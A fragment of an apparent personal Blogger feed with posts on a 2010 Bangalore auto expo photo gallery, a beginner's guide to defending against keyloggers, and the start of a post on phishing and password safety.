scheme='http://www.blogger.com/atom/ns#' term='transformers'/><category scheme='http://www.blogger.com/atom/ns#' term='intruder'/><category scheme='http://www.blogger.com/atom/ns#' term='hayabusa'/><category scheme='http://www.blogger.com/atom/ns#' term='Camaro'/><category scheme='http://www.blogger.com/atom/ns#' term='ducati monster'/><category scheme='http://www.blogger.com/atom/ns#' term='auto expo bangalore'/><category scheme='http://www.blogger.com/atom/ns#' term='kawasaki ninja'/><title type='text'>Automotive Expo Bangalore 2010</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;I visited the event, it was quite an experience and I am posting some of the pics here.&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Along with the event, there was a freestyle bike stunt performance as well.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Chevrolet Camaro (Transformer fame):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XEt4I031I/AAAAAAAAAHc/-6qOTqy3WsE/s1600-h/IMG_6197.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XEt4I031I/AAAAAAAAAHc/-6qOTqy3WsE/s400/IMG_6197.jpg" alt="" id="BLOGGER_PHOTO_ID_5450979216444415826" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XE9ImL3ZI/AAAAAAAAAHk/UWFKAPXaWfM/s1600-h/IMG_6177.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XE9ImL3ZI/AAAAAAAAAHk/UWFKAPXaWfM/s400/IMG_6177.jpg" alt="" id="BLOGGER_PHOTO_ID_5450979478560562578" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XGNZd4n8I/AAAAAAAAAHs/pNVY8XGDjMM/s1600-h/IMG_6000.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XGNZd4n8I/AAAAAAAAAHs/pNVY8XGDjMM/s400/IMG_6000.jpg" alt="" id="BLOGGER_PHOTO_ID_5450980857478684610" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XGN0-SG3I/AAAAAAAAAH0/Ghv_YD4y2VI/s1600-h/IMG_6201.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XGN0-SG3I/AAAAAAAAAH0/Ghv_YD4y2VI/s400/IMG_6201.jpg" alt="" id="BLOGGER_PHOTO_ID_5450980864862329714" border="0" /&gt;&lt;/a&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Suzuki Intruder M1800R&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_e-VL6LAQQaw/S6XGo-_RZLI/AAAAAAAAAIM/EbxbDU3hVuI/s1600-h/IMG_6019.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://4.bp.blogspot.com/_e-VL6LAQQaw/S6XGo-_RZLI/AAAAAAAAAIM/EbxbDU3hVuI/s400/IMG_6019.jpg" alt="" id="BLOGGER_PHOTO_ID_5450981331407299762" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XGolAddOI/AAAAAAAAAIE/x8SLYys8IN0/s1600-h/IMG_6016.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XGolAddOI/AAAAAAAAAIE/x8SLYys8IN0/s400/IMG_6016.jpg" alt="" id="BLOGGER_PHOTO_ID_5450981324432962786" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XGoLLXnrI/AAAAAAAAAH8/N4N2ZAhSox8/s1600-h/IMG_6012.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XGoLLXnrI/AAAAAAAAAH8/N4N2ZAhSox8/s400/IMG_6012.jpg" alt="" id="BLOGGER_PHOTO_ID_5450981317499395762" border="0" /&gt;&lt;/a&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Suzuki Hayabusa, GSX 1300 R:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_e-VL6LAQQaw/S6XHNya5N7I/AAAAAAAAAIk/v1rEvNLlF-4/s1600-h/IMG_6032.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://4.bp.blogspot.com/_e-VL6LAQQaw/S6XHNya5N7I/AAAAAAAAAIk/v1rEvNLlF-4/s400/IMG_6032.jpg" alt="" id="BLOGGER_PHOTO_ID_5450981963688654770" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XHNZ_MweI/AAAAAAAAAIc/v-OE_1H-UQ4/s1600-h/IMG_6031.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 224px; height: 400px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XHNZ_MweI/AAAAAAAAAIc/v-OE_1H-UQ4/s400/IMG_6031.jpg" alt="" id="BLOGGER_PHOTO_ID_5450981957130043874" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XHNMj90PI/AAAAAAAAAIU/2BaYax00iL0/s1600-h/IMG_6021.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XHNMj90PI/AAAAAAAAAIU/2BaYax00iL0/s400/IMG_6021.jpg" alt="" id="BLOGGER_PHOTO_ID_5450981953526157554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;CBR 1000R:&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XHhpyjN9I/AAAAAAAAAIs/dUc4uR8rEVU/s1600-h/IMG_6052.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XHhpyjN9I/AAAAAAAAAIs/dUc4uR8rEVU/s400/IMG_6052.jpg" alt="" id="BLOGGER_PHOTO_ID_5450982304969340882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Kawasaki Ninja 250:&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_e-VL6LAQQaw/S6XHiRG_SCI/AAAAAAAAAI0/dKjxSdozVjg/s1600-h/IMG_6165.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://4.bp.blogspot.com/_e-VL6LAQQaw/S6XHiRG_SCI/AAAAAAAAAI0/dKjxSdozVjg/s400/IMG_6165.jpg" alt="" id="BLOGGER_PHOTO_ID_5450982315524048930" border="0" /&gt;&lt;/a&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Ducati Monster 1100:&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XIHGHhYHI/AAAAAAAAAJU/jAP2iCUJ9fE/s1600-h/IMG_6112.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XIHGHhYHI/AAAAAAAAAJU/jAP2iCUJ9fE/s400/IMG_6112.jpg" alt="" id="BLOGGER_PHOTO_ID_5450982948228653170" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XIGlYxC5I/AAAAAAAAAJM/B2JihG-Xzr4/s1600-h/IMG_6109.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XIGlYxC5I/AAAAAAAAAJM/B2JihG-Xzr4/s400/IMG_6109.jpg" alt="" id="BLOGGER_PHOTO_ID_5450982939442613138" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_e-VL6LAQQaw/S6XIGFTgheI/AAAAAAAAAJE/yooXdwf-h_c/s1600-h/IMG_6107.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://4.bp.blogspot.com/_e-VL6LAQQaw/S6XIGFTgheI/AAAAAAAAAJE/yooXdwf-h_c/s400/IMG_6107.jpg" alt="" id="BLOGGER_PHOTO_ID_5450982930830624226" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XIFjGdVOI/AAAAAAAAAI8/voS---NCCXA/s1600-h/IMG_6089.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XIFjGdVOI/AAAAAAAAAI8/voS---NCCXA/s400/IMG_6089.jpg" alt="" id="BLOGGER_PHOTO_ID_5450982921649083618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;&lt;br /&gt;And some wheelies:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XIbaRC9VI/AAAAAAAAAJs/SuKafTGtAqY/s1600-h/IMG_6235.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XIbaRC9VI/AAAAAAAAAJs/SuKafTGtAqY/s400/IMG_6235.jpg" alt="" id="BLOGGER_PHOTO_ID_5450983297234695506" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XIa7vGQGI/AAAAAAAAAJk/58eCFJ3NsAI/s1600-h/IMG_6234.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/S6XIa7vGQGI/AAAAAAAAAJk/58eCFJ3NsAI/s400/IMG_6234.jpg" alt="" id="BLOGGER_PHOTO_ID_5450983289039241314" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_e-VL6LAQQaw/S6XIaWHdunI/AAAAAAAAAJc/N7GU-954rdI/s1600-h/IMG_6232.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://2.bp.blogspot.com/_e-VL6LAQQaw/S6XIaWHdunI/AAAAAAAAAJc/N7GU-954rdI/s400/IMG_6232.jpg" alt="" id="BLOGGER_PHOTO_ID_5450983278940895858" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-8981435597708000899?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/8981435597708000899/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/03/automotive-expo-bangalore-2010.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/8981435597708000899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/8981435597708000899'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/03/automotive-expo-bangalore-2010.html' title='Automotive Expo Bangalore 2010'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_e-VL6LAQQaw/S6XEt4I031I/AAAAAAAAAHc/-6qOTqy3WsE/s72-c/IMG_6197.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-693816206596920977</id><published>2010-02-26T10:09:00.000+05:30</published><updated>2010-02-26T10:45:24.875+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='password security'/><category scheme='http://www.blogger.com/atom/ns#' term='cyber cafe'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking gmail'/><category scheme='http://www.blogger.com/atom/ns#' term='keylogger safety'/><category scheme='http://www.blogger.com/atom/ns#' term='process explorer'/><title type='text'>Most common ways of losing your password: Keyloggers (Beginner level)</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;hacked_by_a_keylogger. This may not be a complete or an expert guide, but rather a beginner level guide for introduction to keyloggers based on my own experience. Sorry for poor formatting, and weird color choice, I pretty much suck at this. :(&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold; color: rgb(102, 255, 153);"&gt;Keyloggers&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Its a software which captures the keystrokes you type on your keyboard. They come in different flavors, with a good number of features.&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;They can capture the sites you visited, take screenshots, and the applications you opened. They save these keystrokes in a file and may periodically send/email &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;them to the bad guy. Although there are hardware keyloggers as well, which can be physically plugged into the computer, but those are less common since they come &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;for a price. For this post, the keylogger refers to a software based keylogger only. So whatever details you entered as username/password or any website that you looked for will be sent to the bad guy.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;(I rather prefer to use the term bad guy, instead of arguing the difference between the terms hacker and cracker)&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Most common places where keyloggers can be found are computers with public access, especially cyber cafes and computer labs in a college. Be careful while visiting &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Cyber cafes and public computers, these are the most vulnerable places where a bad guy can easily install a keylogger. &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The keylogger captures all the keystrokes that are being typed through the keyboard, and saves them in a file, including the details like the &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;sites you visited, the applications you opened, even screenshots, and so on. And so after you leave the bad guy can simply read that file, &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;login to your account, and change the password. And its hard to find a keylogger installed, since they are good at being stealthy&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; and almost impossible to find for a novice computer user. The bad guys in these scenarios are mostly young kids or someone who wants to exploit his new found 'keylogger' &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;knowledge just out of curiosity. They just set up a trap and wait for any victim to fall in it. Or you might be the victim of your tech savy boyfriend who enticed you &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;into using his 'new' laptop for checking your account. Thats a bit of social engineering. :)&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;AntiViruses dont provide 100% security from keyloggers. An antivirus works on the basis of known signatures, and so if the new keylogger signature &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;is unknown, the antivirus wont report it. But a good updated antivirus gives you a good amount of protection against previously known and latest threats. Thats why its advisabe to &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;keep your antiviruses updated. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color: rgb(102, 255, 153); font-weight: bold;"&gt;How they get installed.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Technically a keylogger is only a piece of code that logs keystrokes, they could be a part or only a feature of a Trojan horse or a malware.&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Now there are can be numerous ways a malware can intrude your computer and I would list the most common ways:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li style="color: rgb(51, 255, 51);"&gt; Someone, may install it manually on your computer or on a public computer.&lt;/li&gt;&lt;li style="color: rgb(51, 255, 51);"&gt; Your browser may be vulnerable to a web based attack, and by visiting a bad site, the bad site may cause your computer to download and install  malware/trojan/keylogger.&lt;/li&gt;&lt;li style="color: rgb(51, 255, 51);"&gt; Removable media/Pen drive worms.&lt;/li&gt;&lt;li style="color: rgb(51, 255, 51);"&gt; Virus infected software install.&lt;/li&gt;&lt;li style="color: rgb(51, 255, 51);"&gt; Worms that use Network vulnerabilities to move around.&lt;/li&gt;&lt;li style="color: rgb(51, 255, 51);"&gt; Keylogger binded with a genuine program. (yeah, you can say a trojan horse)&lt;br /&gt;There are softwares commonly known as binders, which can attach a keylogger to a genuine program. For eg. your friend could use a binder to bind the keylogger executable to a game executable, and then he would ask you to try this new 'exciting' game. When the user executes the game exe, it runs the keylogger as well, and even though you find the game exciting, it did much more harm to your computer by covertly installing a malware.&lt;/li&gt;&lt;li style="color: rgb(51, 255, 51);"&gt;Therefore its important that you download executables from trusted sources on the internet. And you pay attention to the software that is being installed on your computer.&lt;/li&gt;&lt;li style="color: rgb(51, 255, 51);"&gt; Something that I may not be aware of! :/&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold; color: rgb(102, 255, 153);"&gt;Technical Solutions for keylogger safety:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Finding whether a keylogger is installed or not on a computer is not an easy task and quite technical.&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Some common hints to look for: Most of the trojans, viruses, worms and keyloggers and any other malicious software are most likely to do &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;one thing: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Start the malicious program, when the computer starts.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;So you can go ahead searching for places like start folders, Windows Registry (run)&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;and so on. I think you can google about this for improving your windows knowledge. Even a worst case would be when the malicious program isnt exacly a program &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;but a library like a dll, and instead of starting the malicious program at computer start, it will insert itself in an already existing genuine program like &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Explorer.exe which loads at startup.&lt;br /&gt;&lt;br /&gt;I remember a case when I was hunting for a malicious dll on my personal computer. It was running, but I could not &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;find it in the process list. Ultimately I used a tool called ProcessExplorer&lt;br /&gt;(&lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx"&gt;http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx&lt;/a&gt;)&lt;br /&gt;which can search for loaded dlls and windows handles in executables. And I found&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;the malicious dll loaded inside Explorer.exe! In such a case, the dll wont be listed in the Run key of windows registry, but as an library argument to a&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;genuine executable like explorer.exe.  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Care must be taken while editing your windows registry and while looking for suspicious files. Any mess could result in your windows getting crashed.&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;The best way is to google the file/key name and find out the details. Look out for tricks like SVCHOST.EXE and SVCH0ST.EXE, the first one is a genuine&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;windows process and acts as a host file to various services, whereas the latter one has a zero instead of 'O' and is certainly trying to disguise itself. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;But as I said, in worst cases, there is no guarenteed way of finding it and requires an expert eye.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;Some suggesstions:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol style="color: rgb(51, 255, 51);"&gt;&lt;li&gt; Do not login to your accounts from a shared computer and that does not belong to you. (Even your best friend's computer)&lt;/li&gt;&lt;li&gt; Make sure you login from a computer, such as your personal one, or your office one, that no one else uses.&lt;/li&gt;&lt;li&gt; Do not login to your accounts using a public computer like in a cyber cafe or in a college lab.&lt;/li&gt;&lt;li&gt; Keep your personal computer physically safe, so that no one installs anything without your permission.&lt;/li&gt;&lt;li&gt; You can use an on screen keyboard for entering your password, since it never uses keystrokes, but mouse clicks. This feature can be seen onmost of the banking sites today, where for logging in your internet account, you are required to use an onscreen keyboard. Sometimes optionally and sometimes its mandatory. &lt;/li&gt;&lt;li&gt; I found an interesting reference on the wiki page for keyloggers, that you may like to read. (How To Login From an Internet Cafe Without Worrying About Keyloggers)&lt;a href="http://cups.cs.cmu.edu/soups/2006/posters/herley-poster_abstract.pdf"&gt; http://cups.cs.cmu.edu/soups/2006/posters/herley-poster_abstract.pdf&lt;/a&gt;&lt;/li&gt;&lt;li&gt; There are some more useful links on the wiki page as well. &lt;a href="http://en.wikipedia.org/wiki/Keystroke_logging"&gt;http://en.wikipedia.org/wiki/Keystroke_logging&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;Even better suggesstions:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Learn and start using a linux. If you are a beginner, I would suggest an Ubuntu. (Not that I have tried other flavors, but because I find Ubuntu to be quite friendly,&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;and its excellent support forum has solutions for most of the problems. Most likely you will not be the first one to have that problem. :))&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Its easy to use and install and hardly within a month you will find yourself in a comfortable position. Linux is no more an OS used only by tech Gurus. :). Dont worry if you think you suck at Linux, we all do suck at something. Every expert was once a beginner.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Chances will be very rare that you will be a victim of a keylogger attack.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;ol style="color: rgb(51, 255, 51);"&gt;&lt;li&gt; The attacks are very easy to be performed on windows. (Windows is popular as well, and there are thousands of keyloggers available for windows. Also writing a basic keylogger isnt a very hard stuff.)&lt;/li&gt;&lt;li&gt; A novice computer user is likely to use windows.&lt;/li&gt;&lt;li&gt; Since majority of the users worldwide use windows, the bad guys make bad tools targetting windows, so Linux users are not so favorite victims.&lt;/li&gt;&lt;li&gt; Keyloggers exist for linux, but in most cases installing them isnt an easy task (i.e. without root)&lt;/li&gt;&lt;li&gt; Given the above points, in my opinion, a Linux user is very less likely to get hacked through a keylogger. &lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color: rgb(102, 255, 153); font-weight: bold;"&gt;Best Suggesstion:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Stop using internet, and switch to Postal service. :)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Happy Learning!&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-693816206596920977?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://rhosted.blogspot.com/hacked_by_a_keylogger' title='Most common ways of losing your password: Keyloggers (Beginner level)'/><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/693816206596920977/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/02/this-may-not-be-complete-or-expert.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/693816206596920977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/693816206596920977'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/02/this-may-not-be-complete-or-expert.html' title='Most common ways of losing your password: Keyloggers (Beginner level)'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-2723141204935209773</id><published>2010-02-12T11:15:00.000+05:30</published><updated>2010-02-20T08:07:00.788+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='fraud phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='password security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking gmail'/><category scheme='http://www.blogger.com/atom/ns#' term='email'/><category scheme='http://www.blogger.com/atom/ns#' term='yahoo'/><title type='text'>How to save myself from simple password hacks and phishing Part1: Social Engg.</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;No. I didnt lose my password. Its just the title of this writing. I am going to talk about the ways you can lose your passwords and sensitive info. Recently one of my dear ones lost her password and that prompted me to write a guide of dos and donts when you are sitting on the computer. The most common problem is that: someone changed your password, and now you cant access your account. And you want to know how? The problem is not that you just lost a free email account, but the most important contacts, documents, personal mails etc that you gathered over the time are suddenly gone. And you ask yourself, what the hell would someone gain by adding this overhead in my already shitty busy life. I had so many important details saved there.  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I am planning to write down some of the most common methods by which you can lose your password. I cant summarize everything in one post and I will start with the most basic, kindof stupid but effective ones. The plan is to write them in different posts 